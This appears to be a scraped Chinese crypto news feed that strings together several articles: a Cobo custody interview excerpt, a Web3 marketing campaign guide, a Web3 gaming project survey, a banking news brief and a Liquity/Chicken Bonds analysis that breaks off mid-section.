第二阶段发现大家开始跟链有大量交互，这时候需要有链能力、合约账户管理能力，把 DeFi 领域积累的大量能力封装成 Cobo Argus 产品，底层是链上多签，有非常多跟各种各样区块链 DeFi 协议打交互的能力，同时又有一系列风险管理模块和自动化程序，更好地支持链上 7×24 小时响应，处理极端情况。 第三阶段，后 FTX 时代，大家越来越意识到掌握 Key 的重要性，很多大型机构开始说我们能不能有透明的单独隔离的资产池，所有资产需要我来授权同意才能使用。所以在最早期的中心化托管基础上把底层技术迭代到 MPC 技术，终端用户掌握把 key，我们掌握一把 key，协助管理资产，我们这把 Key 主要用来做风控，还有一把 key 用来冷存储放在第三方，可能是安全公司，也可能是保险公司管理后来很多公司发现这套方案非常好，他们就在我们这套方案的基础上迭代，面向终端用户提供产品，终端用户只掌握账号密码的情况下，就可以很快地进入区块链，有大量游戏类公司用我们的解决方案，让终端用户用 Web2 的体验进入到 Crypto 世界。当终端用户成长到一定程度，可能在链上有了高价资产，比如说稀缺的 NFT 在游戏中突然获得了，这时候可以让账户升级，把第三把 key 授予用户，用户已经有了意愿、动机去学习合理解基础的概念，拿到这把 key 以后就能更好地使用。 我们基本上就是围绕着这三个阶段提供了三款不同的产品，纯中心化的基于加密机的托管解决方案、面向链上智能合约的多签解决方案、面向去中心化协管的 MPC 解决方案。基本这三个方案针对不同的场景，核心还是解决大家的资产安全和私钥，以及围绕私钥上使用各种场景的风险管理。 期望通过公司的努力和迭代，能让更多用户更安全、易用、放心地涌入区块链，在链上探索非常精彩的链上生态。 Colin Wu（主持人）：谢谢神鱼。  ( 5 min )
    如何快捷完成一个效果显著的Web3营销活动？
    人人都爱营销活动——不仅能够帮助我们获取大量流量、触达潜在客户，更能够激活用户、提升转化率和产品使用率。 Apple：Shot on iPhone 用户使用iPhone拍摄照片并分享到社交媒体上，最好的照片会被展示在全球户外广告位。自推出以来，已有上百万用户参与此活动。 American Express：Small Business Saturday 持有会员卡的用户，可以在参与计划的小型企业进行购物时享受一定的优惠和奖励。2021年推出该活动当日，消费者支出约233亿美元，同比上涨18%。 TOYOTA：Toyotathon 自1969年起，每年举办一次，打折出售当年汽车。2020年12月，Toyotathon在谷歌被搜索约35K，当月售出211K+汽车，约占当年销售总量的11.5%。 因此，营销活动不单单仅是广告曝光，它更多是一系列活动，用来服务于我们的终极目标——带来用户和产品使用的增长，以及提升品牌忠诚度。因此，你需要根据自己的业务、产品核心以及用户画像，来制定匹配的营销活动。 那么，对于Web3来说，营销活动是否也能满足需求且效果卓越呢？ Odos：Minotuar Campaign 使用Galxe创建第一个营销活动，参与者可获得一个 Early Supporter OAT。此次活动共计完成38.4K的铸造。 OpenOcean：Football Fiesta 使用TaskOn创建的DeFi活动，参与者完成Swap后可获取Token奖励，本次活动共计完成13K次Swap。 ZetaChain：Misson Bring ZETA Home 要求用户通过QuestN加入他们的社媒，并持有一个特殊的NFT，本次活动共计有30K用户参与并完成任务。 由此可见，营销活动在Web3中依然行之有效，并能够为项目的品牌、社媒、社区以及产品使用量上提供量的飞跃。 不过，据笔者观察，相较于传统互联网，Web3的营销活动才刚刚起步，一来没有太多专业的人员，二来也没有太多可复用的策略。因此，本篇将为Web3想要策划营销活动的项目提供可行且可复用的策略： 营销活动不是随便整合几个任务，上几个模板就可以创建的。它应该服务于你的产品，并为你触达准确的用户。因此，你需要基于以下三个步骤来确定本次活动的目标： 确定产品定位 目前，你的产品目前是什么状态、主打什么功能或优势？ 比如，根据产品构建的时期，可分为： 创建初期 功能快速优化及迭代时期 产品成熟期 比如，产品优势有： 多使用场景，移动端便携、易用 交互快捷且手续费低 X 2 Earn 你的目标用户 营销活动覆盖多少目标用户，直接关系到后续产品的使用、转化和活跃情况。因此，你需要 根据分布地区、年龄、性别、受教育水平，以及什么时候活跃、拥有多少链上资产、喜欢什么激励等等这些维度，构建你产品准确的用户画像。 当你获取准确的用户画像后，就可以通过条件限制，来触达该部分用户，减少营销成本的浪费并保证获客后的效果。 本次活动的目标 你的活动目标直接决定了你选择什么样的活动任务。Web2的任务平台通常会提供全套推荐模板，比如推特增长、社群增长。而 Web3 任务模板会更加匹配原生需求，大概可分为以下几种类型： 目标 类型 任务 推特增长 推特任务 关注 推特任务 转发 推特任务 点赞 推特任务 评论 @3位好友 推特任务 hashtag评论 社群增长 Disord任务 加入服务器 Telegram任务 加入TG群 使用增长 链下任务 特殊链接访问 链下任务 APP下载 链下任务 账号注册 链上任务 API-Verified 收集资料/意见 链下任务 QA 基于以上三个维度，你就可以根据自己的需求，策划一个较为完美的活动，并触达准确的潜在用户，降本增效。 那么，当你拥有一个满意的策划案之后，如何创建活动还需要慎之又慎。因为，活动最终效果不仅与你的方案相关，也与用户参与体验挂钩——一个参与不流畅的活动，很容易在过程中流失大批用户。 因此，你需要通过以下方法来根据策划方案创建活动。 在创建活动之前，你需要首先选一个趁手的工具——不仅需要有多种任务模式、奖励模式可供选择，还需要保证使用的流畅性以及能够设置参与门槛来触达准确的用户。 以下是笔者根据目前各工具发布的任务，整理出的一份Web3主流工具功能清单： 目标实现 Galxe QuestN TaskOn Zealy Rabbithole 关注 * * * * 转发 * * * * 点赞 * * * * QT @3位好友 * * * * hashtag评论 * * *     加入Discord * * * * 加入TG群 * * * * 特殊链接访问 * * * * * APP下载 * * * * 账号注册 * * * * * API-Verified * * *   * QA * * * * 可以发现主要的任务平台已经覆盖了以上大部分基础需求，Rabbithole因为更侧重于使用方面，因此任务围绕NFT MINT、DeFi Trading等API-Verified功能。 其中，以下三个平台在门槛设置、机器人验证、发奖形式以及额外服务的覆盖情况如下： 功能 Galxe QuestN TaskOn 防机器人 * * 地域限制 * * * 资产校验 * * * 特殊NFT * * * 奖励均分 * * * 先到先得 * * * 随机抽奖 * * * 自动发奖 * * 自主发奖 * * * 平台代发 * 结合以上任务功能，笔者整合了以下规则来帮助大家结合自己的用户画像和活动目标，进行任务选择及活动创建： 任务 目标对象 项目类型 纯社媒类 Web3新人 Web2用户 初创公司 需求新流量 PoW类 问答类 注册类 初级用户 寻找新项目 需求赛道新流量 增加用户留存 交易类 资深用户 高净值用户 需求使用量 增加转化率 而当你完成活动创建之后，下一步一定要考虑的是如何广而告之，来增加自己活动的曝光，触达更多用户。 一般而言，除了自己的社媒平台进行推广外，你也可以拜托这些活动平台为你的活动进行传播，因为作为活动聚合平台，大量的用户会聚集在平台、社媒账号中，每日寻找自己感兴趣的活动赚取收益，比如： 平台 Twiter粉丝 Galxe Campaigns 135K+ TaskOn 120K+ QuestN 107.3K+ Zealy 101.9K+ Rabbithole 83.9K+ 如果你的预算足够高，在进行以上推广的同时，你也可以使用付费推广的形式，比如KOL推广、推特广告推广等等。不过该形式的客单价会比较高，性价比低。你也可以换一种思考，将付费推广的预算诸如活动总奖池，通过高额激励吸引更多用户参与。当然，这只是笔者的一个建议。 至此，一个完善的Web3营销活动就已经创建并发布，如果你选择的是“全自动模式”，那么只需静等最后的获奖名单以及发奖即可。 不过，这只是活动的结束，而不是你作为活动组织者的工作结束。 当你的活动结束后，活动数据分析将是你完成一个Web3营销活动的最后一环。目前，你可以根据以下维度进行部分数据分析： 活动参与人数 社媒增长人数 NFT铸造数 Trading量 用户净资产量 用户地域分布 活动参与偏好 任务完成度 … 由此，你可以了解自己本次活动的效果好坏（转化率）、触达的用户画像是否精准（活跃度）、活动任务设置是否合理（每个任务的完成率）等等。 这些活动数据通常可通过活动平台获取，比如QusetN的dashboard、TaskOn的data。不过，当前的数据分析可能还比较简陋，相信以后这些任务平台会逐渐精细化自己的数据分析和展示面板，让大家更好地了解自己的活动效果。 基于以上三个环节，你就可以快速完成一个效果显著的Web3营销活动，为自己的项目和产品增加用户量与使用量。  ( 12 min )
    PA图说 | 一图掌握BNBChain上NFT一周关键数据（04.10—04.16）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    盘点下轮牛市中值得关注的5个Web3游戏项目
    Web3 游戏逐渐进入下半场，体验和经济模型的变化都让我们看到了大规模采用的希望。 因此，有必要重新审视这个赛道的发展脉络，为接下来可能的爆发做好准备。 本文将回顾 Web3 游戏的历史，探讨 Web3 游戏的现状以及几个备受关注的项目，希望能够为读者提供对 Web3 游戏领域更深入的了解。以下是原文： 虽然我们不断听到有关 Web3 游戏的讨论，从承诺支持 NFT 所有权和互操作性的，到围绕 GameFi 和 P2E 的短暂炒作周期做文章...但我们似乎并没有看到它所真正承诺的东西。 这并不是说我们没有看到有趣的游戏（例如 Gods Unchained），一些人确实在 P2E 游戏上赚了钱。但是，老实说：到目前为止，没有什么产品真正达到了预期的效果。 但下一个周期，可能比我们预期的要早到来。 在背后有巨额投资支持的情况下，几家独立和 3A 游戏开发商正在成为该领域的巨头，并且正在准备发布游戏，这些游戏可以展示 Web3 的真正潜力，并引发围绕代币的下一个炒作周期。 如果说有哪一个板块能够最先带来大规模采用，我认为将是 Web3 游戏。我马上会解释原因，但首先，我想谈谈 Web3 首先带给游戏的是什么。 Web3 游戏和传统游戏的区别在于，它承诺的是所有权和互操作性。通过使用区块链作为游戏资产的公共登记册，Web3 旨在让玩家能够拥有游戏的不同组件并使用这些组件，即使他们正在玩的并不是同一个游戏。 玩家已经非常注重所有权了——免费的大逃杀射击游戏《堡垒之夜》在其首年内为母公司 Epic Games 创造了超过 50 亿美元的收入。 玩家愿意花费大量金钱来扮演角色或者为为武器购买闪亮多彩的皮肤，但他们中很少有人意识到，Epic 最终保留了这些皮肤的所有权。如果《堡垒之夜》消失了，那么这些皮肤也会消失，花费在它们身上的所有钱将化为乌有。 通过引入分布式账本，Web3 通过创建一种系统让玩家跟踪他们的数字财产来解决了这个问题。进一步推广数字所有权的概念，Web3 通过使游戏具有可组合、互操作性和开放源代码，从根本上扩展了游戏体验。 想象一下：如果我们设计游戏的方式是，道具、角色甚至地图可以从一个游戏移植到另一个游戏中，玩家可以在游戏之间享受连续性，这会是怎样一种情形？不同的游戏是否会利用相同的地图、道具等？同一个资产会不会在不同的游戏中显示为不同的物品？可能性是无限的。 当我们谈论实现 Web3 游戏的承诺时，我们不仅仅是在谈论一个甚至一小部分 Web3 游戏获得主流成功的那一刻；我们谈论的是游戏玩家可以享受开放的游戏生态系统，这就是我们可能会遇到 Web3 游戏爆炸式流行的分水岭。 Cointelegraph 2023 年 3 月的区块链游戏报告中的这些统计数据可能较好地揭示了 Web3 游戏的增长和潜力： 除了大量的资金和游戏项目，2022 年 Web3 游戏占据了所有链上交易的 49％，并且从 2021 年到 2022 年，日均活跃用户增长了 60％，显示出 Web3 游戏用户基础的增长以及与该赛道相对与其他赛道显著的潜力。 目前，有大量资源正致力于使这个梦想成为现实。为了了解行业的现状，让我们看一下过去五年来定义区块链/NFT/Web3 游戏开发的一些头条新闻： 尽管市场下跌，投资或开发活动的速度似乎并没有放缓。事实上，Epic Games 的总经理Steve Allison 最近表示，Epic 目前在其市场上有五款加密游戏，并且还有近二十款游戏正在计划中。 从投资格局来看，DappRadar 的 2022 年区块链游戏报告显示，区块链游戏的投资增长迅速。从 2019 年到 2022 年，对区块链游戏的投资从 2700 万美元增长到 76 亿美元。 风险投资公司可能不会万无一失，但他们肯定不会投资于他们看不到巨额增长潜力的行业。不仅对 web3 游戏的信心似乎在增长，对近 1000 笔 Web3 交易的调查显示，VC 对 Web3 游戏的投资超过了其他任何领域。 VC 们可能认为他们已经失去了从 Web3 的其他领域中挤取价值的潜力，或者更有可能的是，他们只是觉得 Web3 游戏相比其他板块更具有实现财务自由的潜力。 换句话说，投资者显然看到了正在发生的事情，而且他们不是唯一具备慧眼的人。一些 Web3 游戏基础设施提供商也创建了资助计划，以支持致力于在 Web3 游戏上的工作室和开发人员，包括 ImmutableX（5 亿美元）、Avalanche（2.9 亿美元）和 Game7（1 亿美元）。 拥有这么多可利用的资源，现在唯一的问题是游戏工作室是否能够将所有这些资源转化为人们真正想要享受的新型游戏体验。 虽然到目前为止已经发布的许多游戏只是通过将 NFT 融入千篇一律的 RPG 中，但少数项目似乎正在开发真正有趣的 Web3 游戏，并且有可能建立一个支持 web3 的游戏的完整生态系统： Gala 即将推出的游戏包括射击游戏、角色扮演游戏、模拟器和策略游戏： Gala 的游戏采用了 Web3 技术，但目前还不清楚这些游戏将如何促进互操作性。在这个阶段，他们似乎专注于制作可玩的游戏，并在合适的时候和地方加入互操作性。 Illuvium 则采取了不同的方法：Illuvium 正在构建它所描述的“可互操作的区块链游戏 (IBG) 宇宙”，该宇宙由多个游戏设置在一个宇宙中。 Illuvium Zero 是一款世界构建模拟器，目前已经发布了 alpha 版本。其他两款游戏目前正在测试：Overworld 是一款开放世界 RPG 游戏，Beyond 是一款自动对战游戏。 该项目是建立在 Immutable X 上的，这是一个专门为 Web3 游戏设计的基础设施。除了有两个针对 Web3 游戏进行了优化的区块链——zkEVM和ZK-rollup外，Immutable 还为钱包入门和 NFT 游戏等提供解决方案，使构建 Web3 游戏变得更加容易。Gods Unchained 也是Immuable X上提供的游戏，这是迄今为止最受欢迎的Web3卡牌游戏之一。 Vulcan Forged 就像是加强版的 Illuvium。该公司的网站将其描述为“一个已经成立的 NFT 游戏工作室、市场和 dApp 孵化器，拥有 10 多款游戏、2 万多个社区以及 NFT 市场交易量排名前五的 NFT。” Vulcan Forged 至少集成了五款游戏、两种代币和各种不同的游戏机制到生态系统中，看起来十分繁荣。 Vulcan Forged 使用两个代币：PYR 和 LAVA。这两个代币都可以通过玩游戏赚取，并且在 Vulcan 的文档中列出了许多实用性功能。 Yield Guild Games（YGG）在很多知名的游戏里扮演了重要角色。它曾以 Axie Infinity、Splinterlands 和 The Sandbox 等游戏而闻名，专注于构建和投资 P2E 游戏。 Yield Guild 在 2021 年 7 月举行了 YGG 代币销售，Yield Guild 的白皮书称可以将 YGG 代币质押以获得代币奖励、独家内容、独家商品，并参与 DAO 的投票和参与。 Yield Guild 的许多营销材料都以其联合创始人为特色：游戏老手 Gabby Dizon、金融科技创业者 Beryl Li 和开发人员 Owl of Moistness。YGG 还拥有八个子 DAO，其中六个在 2022 年 11 月在 Manila举行的 subDAO 峰会上召开会议。 我了解到 YGG 确实在 Snapshot 上设置了一个 DAO，并被告知启动 DAO 只是他们路线图的一个较低优先级的事项。YGG 经常在其博客中提供投资和生态系统建设更新，因此我们必须密切关注他们计划何时以及如何促进去中心化治理。 DeadDrop 曾经被称为“Project Moon”，DeadDrop 介绍自己是一种撤离射击游戏类型——介于大逃杀和撤离游戏之间，鼓励隐身。 DeadDrop 由 Midnight Society 开发，该团队具有开发《使命召唤》、《光环：无限》和《战争机器》等游戏的开发经验。该工作室由 Dr. Disrespect 创立，他是一名电子游戏主播，在 2020 年被 Twitch 平台封禁前有超过四百万粉丝。 Midnight Society 通过销售 1 万个 Founders PassNFT 筹集了 199 ETH，授予持有人独家访问游戏资产、商品、现场活动以及参与测试的机会。 DeadDrop 是即将推出的众多 Web3 射击游戏之一，其他还包括：Citizen Conflict、The Harvest 和 Shrapnel 等等。 随着越来越多的 Web3 游戏出现，链上链下的指标都显示出繁荣迹象，成功似乎只是时间问题，某些项目将大有作为。如果说 ICO 在 2017 年底开启了第一轮牛市，而 NFT 在 2021 年推动了第二次牛市，这主要是由于对这些新技术可能应用的投机性猜测所致，那么想象一下当 web3 游戏起飞时会发生什么。  ( 6 min )
    华尔街日报：交通银行香港子公司正与多家香港持牌加密公司合作
    PANews 4月17日消息，据《华尔街日报》援引几家加密货币公司透露，中国交通银行股份有限公司香港子公司正与多家在香港获得牌照的加密货币公司合作，并正在与其他受监管的公司就为其开立账户进行磋商。 此前4月14日消息，HashKey PRO目已经与香港众安银行（ZA Bank）和交通银行（香港）建立了伙伴关系，作为结算银行，提供法币的存款和提款服务。  ( 1 min )
    去中心化稳定币龙头Liquity的业务现状、机遇与挑战
    机构：Mint Ventures 作者：Lawrence Lee 近期，随着BUSD停止发行和USDC脱锚事件，以及Binance上线LQTY，去中心化稳定币以及Liquity又一次成为了市场热点。 我们自2021年Liquity刚刚上线时就开始对其进行关注，并完成了《Liquity：稳定币市场的后起之秀》一文。现在时间过去了一年半，虽然秉承着无治理理念的Liquity并未进行协议层面的更新，但是也有Chicken Bonds这种基于自身底层的乐高产品出现。 在本文中，我们将分析Liquity的业务发展情况，以及相对其他稳定币协议的竞争优劣，希望给读者带来关于Liquity和稳定币更多的思考角度。 本文由笔者基于撰文时的项目信息、市场背景写就。受限于作者的认知和信息局限，文章内容可能存在数据、事实、分析推演层面的错误，本文所有内容均不构成投资建议。   2. 项目基本情况 2.1 项目业务范围 Liquity唯一的业务是稳定币。 以下为Liquity项目创建以来的重要事迹，截至2023年3月。 2019.12项目成立. 2020.5Liquity发布了第一版白皮书，整个项目的核心框架(包括110%抵押率、稳定池、恢复模式、赎回系统、无息借贷)都在初始版本中搭建完成. 2020.9完成了 Polychain Capital 领投的种子轮融资. 2021.2发布了更新版的白皮书，新的白皮书着眼点在清算以及稳定性：重新设计了恢复模式，修改了对清算人的激励. 2021.3完成了由Coinspect 和Trail of Baits进行的审计. 2021.3完成了Pantera Capital领投的A轮融资. 2021.4.5Liquity在ETH主网成功上线，除赎回功能外，所有功能都正常上线，代币LQTY也一同上线. 2021.4.19赎回功能上线，协议TVL超过100万枚ETH，LUSD流通超过12亿枚. 2021.5.19上线一个月的Liquity迎来了519极端行情，LUSD流通量从16亿枚降低到5亿枚，协议安全性得到初步验证. 2021.6Liquity被资产管理平台DeFiSaver集成. 2021.8Liquity被资产管理平台Instadapp集成. 2021.8Chainlink开始提供对LUSD的报价. 2021.11保险协议Insurace开始给Liquity提供保险服务. 2021.11LUSD上线借贷协议Rari. 2021.11稳定币协议Fei购买1亿美元的LUSD. 2022.1LQTY上线Coinbase和Huobi. 2022.4Liquity与Bitcoin Suisse合作推出借款服务. 2022.8LUSD上线借贷协议Aave. 2022.9Liquity上线了协议引导流动性（POL）的整套机制Chicken Bonds，并上线了LUSD Chicken Bonds. 2022.11LUSD上线借贷协议Euler. 2022.11稳定币协议Angle Protocol引入LUSD作为抵押品. 2023.2LQTY上线Binance. Liquity是实名团队，两位核心成员都在欧洲。创始人为Robert Lauko，此前是Difinity的研究员，主要负责整体的协议设计。另一位联合创始人为Rick Pardoe，主要负责研发工作。团队总体人数在10人左右。 更多的团队信息，可以在此前Liquity研报中的 【团队情况】 一节了解，本文不再重复。 Liquity属于稳定币-去中心化稳定币赛道。 稳定币是在DeFi领域内最具有网络效应的赛道，并且在上一轮周期也取得了明显超过行业平均增速的发展，对于稳定币赛道的价值我们在Reflexer研报中已经有了详细的分析，我们的核心观点如下： 由于结算便利以及更加符合普通大众的习惯，稳定币已经取代BTC/ETH成为： 现货交易的基础结算货币 大受市场欢迎的永续合约等新型衍生品的结算货币 大部分项目方和风险投资机构进行投融资活动的结算货币 体现在数据上，就是稳定币市值规模的涨幅超过加密市场平均涨幅，且回调幅度也小于市场平均。 稳定币作为加密货币基础结算货币的定位在全市场参与者的心中已经非常稳固，其市场规模至少会伴随着加密货币总体规模同步发展，仍然有着巨大的发展空间。 在刚刚过去的2月-3月，又发生了两件影响稳定币市场格局的重要事件： 在2月底，稳定币发行商Paxos的监管机构纽约金融服务部（NYDFS）要求其停止 BUSD的发行，Paxos也因BUSD相关问题收到美国证券交易委员会（SEC）的“韦尔斯通知”，将面临SEC非法发行证券的指控。 在此之后，Binance一方面在全球寻找稳定币发行的合作伙伴，也转而支持TUSD，另一方面也把目标投向了去中心化稳定币：Liquity的LUSD是目前以太坊网络中为数不多的完全去中心化的稳定币，Binance也在2月28日上线了LQTY。 在3月上旬，美国银行业危机被硅谷银行（SVB）破产所引爆。由于Circle有33亿美金存放在SVB，该事件也引发USDC脱锚至0.9以下，DAI和FRAX等对USDC依赖度非常高的去中心化稳定币也随之脱锚，整个稳定币市场的项目都发生了巨幅的波动。虽然美国联邦存款保险有限公司（FDIC）迅速接管了SVB，美联储也推出了银行定期资助计划（BTFP）来应对银行业风险，USDC也在随后迅速返回锚定。但是由于USDC、DAI和FRAX对于DeFi世界的高渗透率，此事件还是引发了诸多对稳定币去中心化问题的讨论。受此事件影响，LUSD的流通量也从2.3亿美金上升至2.6亿美金。 这两件事情都引发了市场对中心化/半去中心化稳定币的信任危机，也引发了对去中心化稳定币协议的价值重估。 简而言之：稳定币业务基础稳固，空间广阔，仍有不俗潜力。 在稳定币的细分赛道中，伴随着近期监管对稳定币的高压态势，以及中心化稳定币由于真实世界资产发生的风险事件，去中心化稳定币由于更加抗审查和去信任、同时目前的发展程度也更低，具有更加广阔的发展空间。 由于无治理的特性，上线之后Liquity在协议层面的更新极少，在上线后的接近2年时间内，只有在22年9月底上线的LUSD Chicken Bonds属于在用例层面的较大更新，我们先来简单了解一下Chicken Bonds。 3.2.1 Chicken Bonds Liquity推出的Chicken Bonds严格意义上来说是能够激励POL（Protocol Owned Liquidity，协议拥有的流动性）的一套方案，其第一个产品模块是LUSD的Chicken Bonds。Chicken Bonds目标是帮助协议用尽可能低的成本来引导流动性的同时，给用户更稳健的本金保护。Chicken Bonds计划在今年的Q2推出能够给其他协议应用的版本。为了简化理解，我们下文所提到的Chicken Bonds都是指LUSD的Chicken Bonds。 在Chicken Bonds产品内有如下概念： bLUSD：boosted LUSD（增强的LUSD），是Chicken Bonds份额单位，通过Chicken Bonds的一系列设置，bLUSD可以提供超过LUSD的收益，这也是其名字的由来。bLUSD可以始终从Chicken Bonds赎回LUSD。 LUSD bond NFT：LUSD债券，可以按照预设的时间-收益曲线兑换bLUSD。 Chicken Bonds内部将资金分为三个池： 待定池：Pending Bucket，参与Chicken Bonds的所有资金首先会进入待定池内。 储备池：Reserve Bucket，Chicken Bonds内部记账过程中的概念，池内的LUSD可以获得所有Chicken Bonds内LUSD（包括待定池、永久池和储备池内的LUSD）所产生的收益，储备池内的LUSD对应bLUSD的赎回。 永久池：Permanent Bucket，该池内的LUSD不属于用户，而属于Liquity协议。 其在业务中的详细含义，我们以Alice用10000LUSD来参与Chicken Bonds的例子，来向大家举例说明： 1. 参与Chicken Bonds的 第一步是使用LUSD来购买债券。 在使用10000 LUSD 购买债券之后，Alice并不会直接获得bLUSD，而是会获得LUSD bond NFT。与此同时，Alice所投入的所有LUSD都会通过B.Protocol存入稳定池（Liquity的Stability Pool），B.Protocol会定期将稳定池获得的LQTY奖励和ETH清算收益转换为LUSD来实现复利。在Chicken Bonds内部记账中，所有参与Chicken Bonds的LUSD最初都在待定池内，但是其收益是分配给储备池内的bLUSD（Alice此时并没有bLUSD，相当于其将LUSD收益让渡给了）。 2. 在获得了LUSD bond NFT之后，Alice就有了两个选择：可以领取bLUSD（Chicken in）或者取消债券（Chicken Out）。 领取随时都可以发生，可领取的金额按照系统预设的曲线变动。如下图显示了领取金额随着时间的变化关系，横轴代表时间，纵轴代表金额。Alice初始投入了10000枚LUSD（对应图中紫色横线Bonded tokens），投入时根据bLUSD当前的赎回价格（即bLUSD净值）就可计算出Alice最大可获得的bLUSD数量上限（=10000/赎回价格，即图中红色横线）。我们可以看到，Alice能够获得的bLUSD的数量（图中蓝色曲线）从0开始随着时间的推移而逐渐增多，且其增加速度是逐步下降的，也就是说初始阶段Alice可获得的bLUSD数量增加的较快，后续则越来越慢。但是Alice可领取的bLUSD数量不会超过上限（蓝线会无限接近红线，但不会相等）。 领取对应的收益曲线 来源 https://docs.chickenbonds.org/faq/economic-design 3. 若Alice付出3%的手续费进行领取，则会按照曲线获得相应的bLUSD（即图中线段AB）。 此时，尽管Alice的10000 LUSD仍然在稳定池内没有变动，但是在Chicken Bonds的内部记账中，Alice持有的bLUSD对应的那部分LUSD从待定池进入了储备池（Reserve Bucket），而3%的手续费连同提早领取所放弃的LUSD（即图中线段BC），则一同进入了永久池（Permanent Bucket）。 尽管从单个用户的角度来看，越晚领取bLUSD可以获得的bLUSD越多，但是从总体收益的角度，并非越晚领取bLUSD收益越高，这是因为bLUSD本身也在增值（来自全部三个池内LUSD的挖矿收益），太晚领取bLUSD的用户所获得的来自bLUSD净值上涨的收益会变少。因而逻辑上，最理想的领取bLUSD时刻，应该是 可领取bLUSD的增长速度（即上图曲线上升速度） = bLUSD净值增长速度 时，但是这一点并不是某个公式所能计算出的结果，而是由参与者自由博弈所产生的结果。 4. 在获得bLUSD之后，Alice可以赎回（Redeem）bLUSD或者卖出bLUSD，两者的结果都是将bLUSD兑换为LUSD，只不过赎回是对应着从储备池内按比例将LUSD本金与收益一并取回，而卖出则是通过Chicken Bonds官方激励的bLUSD+LUSD-3CRV LP实现。 5. Alice也可以在领取之前选择取消债券（Chicken Out）， 取消之后，Alice可以获得她所投入的 10000 LUSD，资金从待定池直接流出体系，但Alice的10000LUSD在稳定池获得的收益并不会退还给Alice，而是分给了储备池的其他人。 6. 永久池的流动性归协议所拥有，但是协议仅拥有本金，永久池内资产所产生的收益也同样归属给储备池。 永久池的资金在稳定池和Yearn中 依据对协议稳定更有利的方案进行分配。若通过Yearn投资，则会将获得的LUSD-3CRV LP 代币投入到Convex中，收益同样也是定期转换成LUSD来实现复利。 由上我们可以看出， bLUSD能产生更高收益的关键原因是所有三个池产生的收益都会给到储备池。 由于储备池对应了bLUSD的净值，这也就可以使得bLUSD可以获得比单纯LUSD存入稳定池更高的收益。同时，当待定池和永久池占总TVL的占比越高时，bLUSD的APR就会越高（因为产生收益的本金更多了）。比如在Chicken Bonds刚上线时，bLUSD的APR一度超过50%，不过随着时间的流逝，bLUSD的APR随着待定池内TVL的减少也逐渐降低。由于待定池内的用户大多数是刚刚存入Chicken Bonds的用户，这也使得Chicken Bonds具备一定的庞氏属性：新用户多则老用户的收益高；新用户越多则老用户的收益越高；若新用户停止进场，则老用户的收益率也会降低。 下图是这三个池内的LUSD情况： LUSD Chicken bonds资金分布情况 来源https://liquity.app/#/bonds 储备池的TVL占Chicken Bonds总TVL的69%，由于我们前面讲过的，所有存在Chicken bonds 内的LUSD产生的收益都会给到储备池，也就是说69%的LUSD获取了全部LUSD的收益，bLUSD将基础资产（存放在稳定池内的LUSD）的收益放大了1.44倍（100/69）。目前稳定池LUSD的APR为7.35%，bLUSD的APR为11%。两者比值也非常接近1.44。 如果我们抛开Chicken Bonds内部记账的储备池、稳定池和永久池的概念，来观察用户存入的LUSD的实际流向，我们可以比较清晰的看出： Chicken Bonds本质上是一个基金，基金唯一接受的资产是LUSD。基金的资金绝大部分投向稳定池，少部分投向Yearn和Convex，基金的主要目的，是给用户带来更高收益的同时也帮助维持Liquity协议的稳定并提高LUSD的流动性。基金份额使用bLUSD来表示，但是用户并不是在买入之后立即获得份额，而是需要经历一系列的互相博弈，这种博弈一方面可以有助于维持基金规模的稳定性，另一方面也可以提高某些用户的收益。基金随时允许用户进行份额的赎回，同时基金份额也具有流动性不错的二级市场。最后，永久池内的金额就是基金管理费。 我们也可以看出，Chicken Bonds并没有为Liquity扩展新的底层资产，或者引入新的产品类型，bLUSD收益的增幅完全是来自于目前LUSD持有人之间的零和博弈。 Chicken Bonds并没有给Liquity带来新用户或者用例。 其规模的增长并非来自用户有机的需求，而更多的源于早期庞氏结构的助推。     从TVL总体的分布和变化情况也可印证这一点： 早期，由于储备池中的bLUSD极少（因为早期领取bLUSD会亏损），在极高的bLUSD APR的吸引下，Chicken Bonds的TVL增长很快，TVL在今年1月之前处于直线上升状态； 在今年1月前后，有不少的LUSD选择了领取，领取的bLUSD变多，bLUSD的收益率也就降低，此时整体的TVL缓慢登顶； 从1月开始，越来越多的用户开始取消（chicken out）bLUSD，体现为TVL的持续降低，尤其是在2月1日前后，整个Chicken Bonds的TVL从6000万美金迅速降低到3000万美金左右，目前TVL不足2000万美金。而且Chicken Bonds新用户的增长已经陷入了停滞。 并且在Chicken Bonds机制之下，到目前为止，绝大多数Chicken Bonds的参与用户（包括尚未领取bLUSD的、已经领取bLUSD的和取消领取的用户）相比简单的存入稳定池而言，都是亏损状态。Chicken Bonds初始阶段对所有参与用户有一个长期且巨大的负反馈，这种负反馈将会严重影响Chicken Bonds产品的拓展。如下图，分别是领取和取消的Chicken Bonds用户（也就是Chicken Bonds的全部用户）的收益情况，红点代表参与者亏损，绿点代表参与者盈利，点的大小代表仓位大小。我们可以看到，在Chicken Bonds运行半年之后的现在，绝大多数参与者仍然是亏损状态，或者已经亏损出局。 Chicken Bonds领取用户和取消用户的ROI情况 来源https://dune.com/chickenbonds/lusd 另外，正如名字所揭示的，Chicken Bonds具有一定的债券属性，用户获取收益需要以流动性的阶段性丧失为代价，但是对于Chicken Bonds产品而言，流动性的丧失带来的收益却并不高（在DeFi世界中，不锁仓的10% APR并不特别难获得）并且这种收益随着时间的推移还可能越来越低（因为储备池占全部TVL的占比会继续升高），这也是可能限制Chicken Bonds未来发展的重要因素。 关于Chicken Bonds，Liquity团队有相当详细的文档可供阅读，有兴趣的读者可以前往学习。 3.2.2 Liquity业务发展情况 本节中，我们主要通过LUSD流通历史数据、LUSD分布情况、来分析LUSD的历史发展情况。 Liquity在上线时正处于牛市顶峰阶段，凭借着优秀的稳定池-债务再分配-恢复模式的清算机制设计、稳定池可以天然清算其他人的特性，以及上线初期LQTY的高Framing APR，吸引了诸多用户前来使用Liquity的产品，LUSD的流通量在上线之后不足1个月内，迅速超过10亿，最高峰时LUSD流通量接近16亿美金，协议的TVL超过110万ETH（46亿美金）。 LUSD供应量历史情况 来源https://dune.com/dani/Liquity 